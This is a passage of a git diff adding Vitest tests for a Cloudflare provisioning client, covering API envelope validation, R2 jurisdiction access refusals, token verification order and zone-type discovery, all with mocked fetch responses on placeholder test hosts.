ms'); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(3); + } finally { + vi.useRealTimers(); + } + }); + it('passes its identity caller token into deployment-identity refusals', async () => { const { backend, fixture } = subject(projectedHandler(providerWorld())); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index e2dfabb7..594d6327 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -314,7 +314,7 @@ describe('CloudflareProvisioningClient subdomain ingress proof', () => { reply: () => Response.json({ success: true, - errors: null, + errors: 'bad', result: { enabled: false, previews_enabled: false }, }), }, @@ -349,6 +349,29 @@ describe('CloudflareProvisioningClient subdomain ingress proof', () => { expect(subdomainReads()).toHaveLength(1); }); + it('accepts null errors and messages in subdomain ingress metadata', async () => { + const { client } = fixture(() => + Response.json({ + success: true, + errors: null, + messages: null, + result: { enabled: false, previews_enabled: false }, + }), + ); + await expect( + client.inspectOrdinaryWorkerFootprint('plain'), + ).resolves.toMatchObject({ + scriptPresent: true, + workersDevEnabled: false, + previewUrlsEnabled: false, + }); + await expect(client.inspectControlWorker('plain')).resolves.toMatchObject({ + workersDevEnabled: false, + previewUrlsEnabled: false, + }); + await expect(readers[1].read(client)).resolves.toBeUndefined(); + }); + it.each([ { enabled: false, previews_enabled: false }, { enabled: true, previews_enabled: false }, @@ -1208,6 +1231,70 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { } }); + it.each([ + { + label: 'null errors and messages', + info: { page: 1, per_page: 100, total_count: 1, total_pages: 1 }, + }, + { label: 'null errors and result_info', info: null }, + ])('accepts $label in version inventory and returns its rows', async ({ + info, + }) => { + const fixture = recordingFetch(({ url }) => + new URL(url).searchParams.get('page') === '2' + ? pageItems([]) + : Response.json({ + success: true, + errors: null, + messages: null, + result: { + items: [{ id: 'v1', annotations: { 'workers/tag': 'release' } }], + }, + result_info: info, + }), + ); + await expect( + plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'), + ).resolves.toEqual([{ versionId: 'v1', tag: 'release' }]); + expect(fixture.requests).toHaveLength(2); + }); + + it('accepts null errors and result_info as a single empty version page', async () => { + const fixture = recordingFetch(() => + Response.json({ + success: true, + errors: null, + result: { items: [] }, + result_info: null, + }), + ); + await expect( + plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'), + ).resolves.toEqual([]); + expect(fixture.requests).toHaveLength(1); + }); + + it.each([ + { + label: 'non-empty errors', + fields: { errors: [{ code: 1000, message: 'x' }] }, + }, + { label: 'non-array non-null errors', fields: { errors: 'bad' } }, + { label: 'non-object result_info', fields: { result_info: 'bad' } }, + ])('refuses $label in version inventory', async ({ fields }) => { + const fixture = recordingFetch(() => + Response.json({ + success: true, + errors: null, + result: { items: [{ id: 'v1' }] }, + ...fields, + }), + ); + await expect( + plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'), + ).rejects.toThrow(); + }); + it('paginates versions through a terminal empty page and reserves quota per request', async () => { const events: string[] = []; const fixture = recordingFetch(({ url }) => { @@ -1235,7 +1322,7 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { expect(events.filter((event) => event === 'quota:acquire')).toHaveLength(3); }); - it('propagates a version-list 404 after the first page yielded', async () => { + it('classifies a version-list 404 after the first page as an absent Worker', async () => { let requests = 0; const fixture = recordingFetch(() => { requests += 1; @@ -1252,7 +1339,11 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { await expect( plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'), - ).rejects.toMatchObject({ status: 404 }); + ).resolves.toBeUndefined(); + expect(fixture.requests).toHaveLength(2); + expect( + fixture.requests.map(({ url }) => new URL(url).searchParams.get('page')), + ).toEqual([null, '2']); }); it('rejects version and inherited secret inventories above their item bounds', async () => { diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index b241bbb3..76c89b15 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -4,9 +4,15 @@ import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; import { CloudflareProvisioningClient, + cloudflareFleetInventoryContext, type DurableDatabaseExportStore, dispatchMigrations, } from '../src/cloudflare-client.js'; +import { + canonicalFleetInventoryRunOptions, + initialFleetInventoryProgress, + materializeFleetInventoryGeneration, +} from '../src/fleet-inventory-state.js'; import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; import type { DeploymentSpec, @@ -53,6 +59,61 @@ function deployment(overrides: Partial = {}): DeploymentSpec { } describe('CloudflareProvisioningClient', () => { + it.each([ + [403, 10003, true], + [403, 10004, false], + [403, undefined, false], + [500, 10003, false], + ] as const)('classifies R2 listing HTTP %i code %s as unavailable=%s', async (status, code, unavailable) => { + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + expect(new URL(request.url).pathname).toBe( + '/client/v4/accounts/account/r2/buckets', + ); + expect(request.headers.get('cf-r2-jurisdiction')).toBe('fedramp'); + return Response.json( + { + success: false, + errors: + code === undefined ? [] : [{ code, message: 'Access Denied' }], + messages: [], + result: null, + }, + { status }, + ); + }, + }); + const options = canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeR2Buckets: true, + }); + const stage = { step: 'r2-buckets', jurisdictionOrdinal: 2 } as const; + const result = fenced(client, () => + cloudflareFleetInventoryContext(client).advanceStage({ + stage, + options, + progress: initialFleetInventoryProgress(stage, 1), + maxProviderRequests: 9, + }), + ); + if (unavailable) { + const inventory = materializeFleetInventoryGeneration({ + ...(await result), + options, + }); + expect(inventory.unavailableR2Jurisdictions).toEqual(['fedramp']); + expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true); + } else { + await expect(result).rejects.toMatchObject({ status }); + } + }); + it.each([ 'reserved', 'duplicate', @@ -962,7 +1023,7 @@ describe('CloudflareProvisioningClient', () => { } }); - it('downloads an export into durable storage and records integrity', async () => { + it('downloads an identity export into durable storage and records integrity', async () => { const bytes = new TextEncoder().encode('CREATE TABLE durable(id TEXT);'); const stored: Uint8Array[] = []; const exportStore: DurableDatabaseExportStore = { @@ -981,24 +1042,32 @@ describe('CloudflareProvisioningClient', () => { }; }, }; - const request = vi.fn(async (input: string | URL | Request) => { - const url = new URL( - typeof input === 'string' - ? input - : input instanceof URL - ? input.href - : input.url, - ); - if (url.hostname === 'download.example.test') { - return new Response(bytes, { - headers: { 'content-length': String(bytes.byteLength) }, + const request = vi.fn( + async (input: string | URL | Request, init?: RequestInit) => { + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + if (url.hostname === 'download.example.test') { + expect(new Request(input, init).headers.get('accept-encoding')).toBe( + 'identity', + ); + return new Response(bytes, { + headers: { 'content-length': String(bytes.byteLength) }, + }); + } + expect(new Request(input, init).headers.has('accept-encoding')).toBe( + false, + ); + return envelope({ + status: 'complete', + result: { signed_url: 'https://download.example.test/export.sql' }, }); - } - return envelope({ - status: 'complete', - result: { signed_url: 'https://download.example.test/export.sql' }, - }); - }); + }, + ); const client = new CloudflareProvisioningClient({ accountId: 'account', apiToken: 'token', @@ -2128,6 +2197,160 @@ describe('CloudflareProvisioningClient', () => { ); }); + it.each([ + 200, 404, 401, 400, + ])('verifies the account token family first when it returns HTTP %i', async (status) => { + const calls: string[] = []; + const request = vi.fn( + async (input: Parameters[0], init?: RequestInit) => { + const url = new URL(new Request(input, init).url); + calls.push(url.pathname); + if ( + url.pathname.endsWith('/accounts/account/tokens/verify') && + status !== 200 + ) { + return Response.json( + { + success: false, + errors: [{ code: 1000, message: 'token verification refused' }], + }, + { status }, + ); + } + if (url.pathname.endsWith('/user/tokens/token-id')) { + return zoneAuthorityResponse( + new URL( + 'https://api.cloudflare.com/client/v4/accounts/account/tokens/token-id', + ), + [], + ) as Response; + } + const authority = zoneAuthorityResponse(url, []); + if (authority) return authority; + if (url.pathname.endsWith('/workers/scripts')) + return pageArray([{ id: 'plain' }]); + if (url.pathname.endsWith('/workers/domains')) return pageArray([]); + if (url.pathname.endsWith('/subdomain')) + return envelope({ enabled: false, previews_enabled: false }); + throw new Error(`unexpected request: ${url.pathname}`); + }, + ); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: request, + }); + const pending = client.inspectOrdinaryWorkerFootprint('plain'); + if (status === 400) { + await expect(pending).rejects.toMatchObject({ status: 400 }); + } else { + await expect(pending).resolves.toMatchObject({ + workersDevEnabled: false, + }); + } + expect(calls.filter((path) => path.endsWith('/tokens/verify'))).toEqual([ + '/client/v4/accounts/account/tokens/verify', + ...([401, 404].includes(status) ? ['/client/v4/user/tokens/verify'] : []), + ]); + if (status === 200 || status === 400) { + expect(calls.some((path) => path.includes('/user/'))).toBe(false); + } + if ([401, 404].includes(status)) { + expect(calls.filter((path) => path.endsWith('/tokens/token-id'))).toEqual( + ['/client/v4/user/tokens/token-id'], + ); + } + }); + + it('discovers zone routes with a type-less zone query and skips zones outside the four supported kinds', async () => { + const zones = [ + 'full', + 'partial', + 'secondary', + 'internal', + 'enterprise_zone_placeholder', + ].map((type) => ({ id: type, type })); + const requests: URL[] = []; + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + requests.push(url); + const authority = zoneAuthorityResponse( + url, + zones, + zones.map(({ id }) => ({ + zoneId: id, + id: `route-${id}`, + pattern: `${id}.example.test/*`, + script: 'plain', + })), + ); + if (authority) return authority; + if (url.pathname.endsWith('/workers/scripts')) + return pageArray([{ id: 'plain' }]); + if (url.pathname.endsWith('/workers/domains')) return pageArray([]); + if (url.pathname.endsWith('/subdomain')) + return envelope({ enabled: false, previews_enabled: false }); + throw new Error(`unexpected request: ${url.pathname}`); + }, + }); + await expect( + client.inspectOrdinaryWorkerFootprint('plain'), + ).resolves.toMatchObject({ + zoneRoutes: ['full', 'partial', 'secondary', 'internal'].map( + (zoneId) => ({ + zoneId, + routeId: `route-${zoneId}`, + pattern: `${zoneId}.example.test/*`, + }), + ), + }); + const zoneQueries = requests.filter((url) => + url.pathname.endsWith('/zones'), + ); + expect(zoneQueries.length).toBeGreaterThan(0); + for (const url of zoneQueries) + expect(url.searchParams.has('type')).toBe(false); + expect( + requests.some((url) => + url.pathname.includes('/zones/enterprise_zone_placeholder/'), + ), + ).toBe(false); + }); + + it('refuses a zone discovery row without a string type', async () => { + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + if (url.pathname.endsWith('/zones')) + return envelope([{ id: 'zone', account: { id: 'account' } }]); + const authority = zoneAuthorityResponse(url, []); + if (authority) return authority; + if (url.pathname.endsWith('/workers/scripts')) + return pageArray([{ id: 'plain' }]); + if (url.pathname.endsWith('/workers/domains')) return pageArray([]); + if (url.pathname.endsWith('/subdomain')) + return envelope({ enabled: false, previews_enabled: false }); + throw new Error(`unexpected request: ${url.pathname}`); + }, + }); + await expect( + client.inspectOrdinaryWorkerFootprint('plain'), + ).rejects.toThrow( + 'Cloudflare account-wide zone discovery returned incomplete zone type metadata', + ); + }); + it('fails before a privacy mutation when token policies omit account-wide zone authority', async () => { const calls: string[] = []; const request = vi.fn( @@ -2140,7 +2363,7 @@ describe('CloudflareProvisioningClient', () => { : input.url, ); calls.push(`${init?.method ?? 'GET'}:${url.pathname}`); - if (url.pathname.endsWith('/user/tokens/verify')) { + if (url.pathname.endsWith('/accounts/account/tokens/verify')) { return envelope({ id: 'token-id', status: 'active' }); } if (url.pathname.endsWith('/accounts/account/tokens/token-id')) { @@ -2178,7 +2401,7 @@ describe('CloudflareProvisioningClient', () => { client.disableControlWorkerPublicAccess('fleet-state'), ).rejects.toThrow(/every zone/); expect(calls).toEqual([ - 'GET:/client/v4/user/tokens/verify', + 'GET:/client/v4/accounts/account/tokens/verify', 'GET:/client/v4/accounts/account/tokens/token-id', ]); }); @@ -2959,6 +3182,65 @@ describe('CloudflareProvisioningClient', () => { ).rejects.toThrow(/unidentified namespace/); }); + it('refuses explicit null D1 result rows instead of reporting an empty query', async () => { + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: async () => envelope([{ success: true, results: null }]), + }); + await expect( + client.queryDatabase('database-id', 'SELECT 1'), + ).rejects.toThrow(); + }); + + it('refuses explicit null active-version bindings instead of reporting an absent digest', async () => { + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + if (url.pathname.endsWith('/deployments')) + return envelope({ + deployments: [ + { versions: [{ version_id: 'version', percentage: 100 }] }, + ], + }); + return envelope({ resources: { bindings: null } }); + }, + }); + await expect(client.inspectActiveWorkerRoute('plain')).rejects.toThrow(); + }); + + it('refuses explicit null R2 buckets instead of completing empty inventory', async () => { + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: async () => envelope({ buckets: null }), + }); + const options = canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeR2Buckets: true, + }); + const stage = { step: 'r2-buckets', jurisdictionOrdinal: 0 } as const; + await expect( + fenced(client, () => + cloudflareFleetInventoryContext(client).advanceStage({ + stage, + options, + progress: initialFleetInventoryProgress(stage, 1), + maxProviderRequests: 9, + }), + ), + ).rejects.toThrow(); + }); + it('forwards anonymous and numbered D1 parameters without rewriting SQL text', async () => { const bodies: unknown[] = []; const client = new CloudflareProvisioningClient({ @@ -3283,6 +3565,47 @@ describe('inventory absence proofs', () => { }); return { client, requests }; } + it.each([ + { + label: 'null errors and messages', + info: { page: 1, per_page: 100, total_count: 1, total_pages: 1 }, + }, + { label: 'null errors and result_info', info: null }, + ])('accepts $label in database inventory and returns its rows', async ({ + info, + }) => { + const { client, requests } = fixture( + '/client/v4/accounts/account/d1/database', + (url) => + url.searchParams.get('page') === '2' + ? envelope([]) + : Response.json({ + success: true, + errors: null, + messages: null, + result: [{ uuid: 'db', name: 'database' }], + result_info: info, + }), + ); + await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([ + { databaseId: 'db', name: 'database' }, + ]); + expect(requests).toHaveLength(2); + }); + it('accepts null errors and result_info as a single empty database page', async () => { + const { client, requests } = fixture( + '/client/v4/accounts/account/d1/database', + () => + Response.json({ + success: true, + errors: null, + result: [], + result_info: null, + }), + ); + await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([]); + expect(requests).toHaveLength(1); + }); const malformed = [ { label: 'missing result', body: { success: true } }, { label: 'missing success', body: { result: [] } }, @@ -3292,7 +3615,19 @@ describe('inventory absence proofs', () => { { label: 'string result', body: { success: true, result: 'invalid' } }, { label: 'error metadata', - body: { success: true, result: [], errors: [{ code: 1 }] }, + body: { + success: true, + result: [], + errors: [{ code: 1000, message: 'x' }], + }, + }, + { + label: 'non-array non-null errors', + body: { success: true, result: [], errors: 'bad' }, + }, + { + label: 'non-object result_info', + body: { success: true, result: [], result_info: 'bad' }, }, { label: 'continuing empty page', diff --git a/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts index 31e6422f..f2095b7d 100644 --- a/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts +++ b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts @@ -1,7 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 import { expect, it } from 'vitest'; -import { restProjection } from './fixtures/cloudflare-fetch-fixture.js'; +import { + restProjection, + zoneAuthorityResponse, +} from './fixtures/cloudflare-fetch-fixture.js'; import { providerWorld } from './fixtures/provider-world.js'; it.each([ @@ -42,8 +45,14 @@ it.each([ redirect: 'manual', }); const value = (await response.json()) as { + errors: unknown; + messages: unknown; result: unknown[] | { items: unknown[] }; }; + if (path.endsWith('/versions')) { + expect(value.errors).toBeNull(); + expect(value.messages).toBeNull(); + } return Array.isArray(value.result) ? value.result : value.result.items; } const initial = await page(); @@ -51,3 +60,32 @@ it.each([ expect(await page(1)).toEqual(initial); expect(await page(2)).toEqual([]); }); + +it('answers a repeated zone type query with no rows', async () => { + const response = zoneAuthorityResponse( + new URL( + 'https://api.cloudflare.com/client/v4/zones?account.id=account&type=full&type=partial', + ), + ['zone'], + ); + expect(await response?.json()).toMatchObject({ + result: [], + result_info: { total_count: 0 }, + }); +}); + +it('filters a single zone type query', async () => { + const response = zoneAuthorityResponse( + new URL( + 'https://api.cloudflare.com/client/v4/zones?account.id=account&type=partial', + ), + [ + { id: 'full-zone', type: 'full' }, + { id: 'partial-zone', type: 'partial' }, + ], + ); + expect(await response?.json()).toMatchObject({ + result: [{ id: 'partial-zone', type: 'partial' }], + result_info: { total_count: 1 }, + }); +}); diff --git a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts index 70a53376..095d30fb 100644 --- a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts +++ b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { APIError } from 'cloudflare'; import { describe, expect, it } from 'vitest'; import { advanceCloudflareFleetInventoryStage, @@ -23,6 +24,7 @@ import { type FleetInventoryStagedFact, type FleetInventoryStagedRow, initialFleetInventoryStage, + materializeFleetInventoryGeneration, } from '../src/fleet-inventory-state.js'; import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; @@ -119,6 +121,8 @@ function harness(world: World): Harness { const page = pageAt(world.dispatchPages, cursor); return new Response( JSON.stringify({ + success: true, + errors: [], result: page.items, ...(page.cursor === undefined ? {} @@ -553,6 +557,81 @@ describe('advanceCloudflareFleetInventoryStage', () => { ); }); + it.each([ + [ + 'refuses a dispatch script page whose envelope reports success false', + { success: false, errors: [] }, + ], + [ + 'refuses a dispatch script page with a non-empty errors array', + { success: true, errors: [{ code: 1000, message: 'failure' }] }, + ], + [ + 'refuses a dispatch script page whose errors field is not an array', + { success: true, errors: 'bad' }, + ], + ])('%s', async (_title, metadata) => { + const { deps } = harness({ + dispatchNamespace: 'anchorage-ns', + namespaceInventory: { + namespace_name: 'anchorage-ns', + script_count: 0, + trusted_workers: false, + }, + }); + const failed = { + ...deps, + attachmentScan: { + ...deps.attachmentScan, + requestDispatchScriptPage: async () => + Response.json({ ...metadata, result: [], result_info: null }), + }, + }; + await expect(drive(failed, RICH_OPTIONS)).rejects.toThrow( + /Cloudflare dispatch script listing/, + ); + }); + + it('accepts a dispatch script page with errors null', async () => { + const { deps } = harness({ + dispatchNamespace: 'anchorage-ns', + namespaceInventory: { + namespace_name: 'anchorage-ns', + script_count: 0, + trusted_workers: false, + }, + }); + const nullable = { + ...deps, + attachmentScan: { + ...deps.attachmentScan, + requestDispatchScriptPage: async () => + Response.json({ + success: true, + errors: null, + result: [], + result_info: null, + }), + }, + }; + const run = await drive(nullable, RICH_OPTIONS); + expect(run.steps).toContain('dispatch-pages'); + expect(run.rows).toEqual([ + { + kind: 'meta', + ordinal: 0, + payload: { + record: 'dispatch-inventory', + dispatchScriptCount: 0, + name: 'anchorage-ns', + trustedWorkers: false, + scriptCount: 0, + }, + }, + ]); + expect(run.stages.at(-1)?.step).toBe('finalize'); + }); + it('walks the fifteen provider stages in encounter order, one chunk per call', async () => { const { deps } = harness(RICH_WORLD); const run = await drive(deps, RICH_OPTIONS); @@ -1063,6 +1142,147 @@ describe('advanceCloudflareFleetInventoryStage', () => { ); }); + it.each([ + 'eu', + 'fedramp', + ] as const)('records a first-page %s access refusal without losing accessible buckets', async (unavailable) => { + const buckets = Object.fromEntries( + ['default', 'eu', 'fedramp'].map((jurisdiction) => [ + jurisdiction, + [{ name: `anchorage-${jurisdiction}`, creation_date: '2024-01-01' }], + ]), + ); + const base = harness({ buckets }).deps; + const refusal = new APIError( + 403, + { errors: [{ code: 10003 }] }, + '', + new Headers(), + ); + const deps = { + ...base, + listR2Buckets: async ( + input: Parameters[0], + ) => { + if (input.jurisdiction === unavailable) throw refusal; + return base.listR2Buckets(input); + }, + }; + const options = { ...EMPTY_OPTIONS, includeR2Buckets: true }; + const run = await drive(deps, options); + const inventory = materializeFleetInventoryGeneration({ ...run, options }); + expect(inventory.unavailableR2Jurisdictions).toEqual([unavailable]); + expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true); + expect(inventory.r2Buckets?.map((bucket) => bucket.bucketName)).toEqual( + ['default', 'eu', 'fedramp'] + .filter((jurisdiction) => jurisdiction !== unavailable) + .map((jurisdiction) => `anchorage-${jurisdiction}`), + ); + expect(run.steps.at(-1)).toBe('finalize'); + }); + + it.each([ + ['default', 403, [{ code: 10003 }]], + ['fedramp', 403, [{ code: 10004 }]], + ['fedramp', 403, []], + ['fedramp', 403, [{ code: '10003' }]], + ['fedramp', 500, [{ code: 10003 }]], + ] as const)('fails the R2 stage for %s HTTP %i with errors %j', async (jurisdiction, status, errors) => { + const base = harness({}).deps; + const refusal = new APIError(status, { errors }, '', new Headers()); + await expect( + drive( + { + ...base, + listR2Buckets: async (input) => { + if (input.jurisdiction === jurisdiction) throw refusal; + return base.listR2Buckets(input); + }, + }, + { ...EMPTY_OPTIONS, includeR2Buckets: true }, + ), + ).rejects.toBe(refusal); + }); + + it.each([ + false, + true, + ])('fails a second-page EU access refusal, resumed=%s', async (resumed) => { + const base = harness({}).deps; + const refusal = new APIError( + 403, + { errors: [{ code: 10003 }] }, + '', + new Headers(), + ); + const stage: FleetInventoryStage = { + step: 'r2-buckets', + jurisdictionOrdinal: 1, + ...(resumed ? { startAfter: 'anchorage-0999' } : {}), + }; + const options = { ...EMPTY_OPTIONS, includeR2Buckets: true }; + await expect( + advanceCloudflareFleetInventoryStage( + { + ...base, + listR2Buckets: async ({ startAfter }) => { + if (startAfter !== undefined) throw refusal; + return { + buckets: Array.from({ length: 1_000 }, (_, index) => ({ + name: `anchorage-${String(index).padStart(4, '0')}`, + creation_date: '2024-01-01', + })), + }; + }, + }, + { + stage, + options, + progress: { ...initialProgress(options), stage }, + maxProviderRequests: 9, + }, + ), + ).rejects.toBe(refusal); + }); + + it('distinguishes an unavailable jurisdiction from an empty page in the page digest', async () => { + const base = harness({}).deps; + const stage: FleetInventoryStage = { + step: 'r2-buckets', + jurisdictionOrdinal: 2, + }; + const options = { ...EMPTY_OPTIONS, includeR2Buckets: true }; + const input = { + stage, + options, + progress: { ...initialProgress(options), stage }, + maxProviderRequests: 9, + }; + const empty = await advanceCloudflareFleetInventoryStage(base, input); + const unavailable = await advanceCloudflareFleetInventoryStage( + { + ...base, + listR2Buckets: async () => { + throw new APIError( + 403, + { errors: [{ code: 10003 }] }, + '', + new Headers(), + ); + }, + }, + input, + ); + expect(unavailable.pageDigest).not.toBe(empty.pageDigest); + expect(unavailable.rows).not.toEqual(empty.rows); + const inventory = materializeFleetInventoryGeneration({ + ...empty, + options, + }); + expect(inventory.unavailableR2Jurisdictions).toEqual([]); + expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true); + }); + it('resumes R2 pagination inside one jurisdiction', async () => { const buckets = Array.from({ length: 9_001 }, (_, index) => ({ name: `anchorage-${String(index).padStart(4, '0')}`, diff --git a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts index a079dcc9..cb032540 100644 --- a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts +++ b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts @@ -7,12 +7,15 @@ import { join } from 'node:path'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { bootstrapDirectConformance } from '../scripts/direct-credentialed-bootstrap.mjs'; import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import * as invocation from '../scripts/direct-credentialed-invocation.mjs'; import { type DirectRunJournal, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; +const awaitReferenceIngress = invocation.awaitReferenceIngress; + const probes = vi.hoisted(() => ({ sdk: vi.fn(), generate: vi.fn() })); vi.mock('cloudflare', async (importOriginal) => { const actual = await importOriginal(); @@ -84,7 +87,9 @@ async function fixture( limit?: number; timeout?: number; tag?: string | null; + invocationTimeoutMs?: number; mainModule?: string; + compatibilityFlags?: string[]; } = {}, ) { const directory = await mkdtemp(join(tmpdir(), 'direct-bootstrap-')); @@ -113,7 +118,11 @@ async function fixture( }; config.referenceWorker.maxInvocations = options.limit ?? 20; config.referenceWorker.requestTimeoutMs = options.timeout ?? 1000; - config.referenceWorker.invocationTimeoutMs = 2000; + config.referenceWorker.invocationTimeoutMs = + options.invocationTimeoutMs ?? 2000; + config.referenceWorker.compatibilityFlags = options.compatibilityFlags ?? [ + 'global_fetch_strictly_public', + ]; config.deployment.artifact = { bundle: './tenant.mjs', mainModule: 'worker.js', @@ -236,6 +245,21 @@ async function fixture( url.origin === `https://${names.referenceWorker}.attested-account.workers.dev` ) { + if (!request.headers.has('authorization')) { + expect(url.pathname).toBe(DIRECT_REFERENCE_PATH); + expect(request.method).toBe('POST'); + expect(await request.json()).toEqual({}); + return Response.json( + { contractVersion: 1, ok: false, error: { code: 'unauthorized' } }, + { + status: 401, + headers: { + 'Cache-Control': 'no-store', + 'WWW-Authenticate': 'Bearer', + }, + }, + ); + } expect(request.headers.get('authorization')).toBe( `Bearer ${INVOKE_SECRET}`, ); @@ -300,13 +324,21 @@ async function fixture( return json( url.searchParams.has('page') ? [] - : [{ id: 'zone', name: 'example.test', account: { id: ACCOUNT } }], + : [ + { + id: 'zone', + name: 'example.test', + type: 'full', + account: { id: ACCOUNT }, + }, + ], ); } if (url.pathname === '/client/v4/zones/zone') return json({ id: 'zone', name: 'example.test', + type: 'full', account: { id: ACCOUNT }, }); if (url.pathname === `${root}/workers/dispatch/namespaces`) @@ -473,6 +505,9 @@ async function fixture( } beforeEach(() => { + vi.spyOn(invocation, 'awaitReferenceIngress').mockImplementation((input) => + awaitReferenceIngress({ ...input, sleep: input.sleep ?? (async () => {}) }), + ); vi.stubGlobal( 'fetch', vi.fn(() => { @@ -484,6 +519,7 @@ beforeEach(() => { afterEach(async () => { vi.restoreAllMocks(); + vi.useRealTimers(); vi.unstubAllEnvs(); vi.unstubAllGlobals(); probes.sdk.mockClear(); @@ -625,6 +661,80 @@ describeLinux('SDK direct bootstrap', () => { expect(f.requests.every((request) => request.method === 'GET')).toBe(true); }); + it('lists zones without a type query parameter', async () => { + const f = await fixture(); + await f.run(); + const requests = f.requests + .map((request) => new URL(request.url)) + .filter((url) => url.pathname === '/client/v4/zones'); + expect(requests.length).toBeGreaterThan(0); + for (const url of requests) { + expect(url.searchParams.has('type')).toBe(false); + expect(url.searchParams.get('account.id')).toBe(ACCOUNT); + expect(url.searchParams.get('per_page')).toBe('50'); + } + }); + + it('refuses an unsupported zone type even when its name equals ownedHostname', async () => { + const f = await fixture(); + const row = { + id: 'zone', + name: f.prepared.config.ownedHostname, + type: 'unsupported', + account: { id: ACCOUNT }, + }; + f.setHook((_request, url) => { + if (url.pathname === '/client/v4/zones') + return json(url.searchParams.has('page') ? [] : [row]); + if (url.pathname === '/client/v4/zones/zone') return json(row); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.journal.snapshot().bootstrap).toBeNull(); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it('refuses the selected zone when its detail reread reports an unsupported type', async () => { + const f = await fixture(); + const row = { + id: 'zone', + name: f.prepared.config.ownedHostname, + type: 'full', + account: { id: ACCOUNT }, + }; + f.setHook((_request, url) => { + if (url.pathname === '/client/v4/zones') + return json(url.searchParams.has('page') ? [] : [row]); + if (url.pathname === '/client/v4/zones/zone') + return json({ ...row, type: 'unsupported' }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.journal.snapshot().bootstrap).toBeNull(); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it('refuses a zone row with a missing type', async () => { + const f = await fixture(); + const row = { + id: 'zone', + name: f.prepared.config.ownedHostname, + account: { id: ACCOUNT }, + }; + f.setHook((_request, url) => { + if (url.pathname === '/client/v4/zones') + return json(url.searchParams.has('page') ? [] : [row]); + if (url.pathname === '/client/v4/zones/zone') return json(row); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.journal.snapshot().bootstrap).toBeNull(); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + it.each([ 'foreign-account', 'wrong-boundary', @@ -648,6 +758,7 @@ describeLinux('SDK direct bootstrap', () => { : kind === 'malformed-name' ? 'bad..test' : 'example.test', + type: 'full', account: { id: kind === 'foreign-account' ? 'foreign' : ACCOUNT }, }; return json([ @@ -695,10 +806,16 @@ describeLinux('SDK direct bootstrap', () 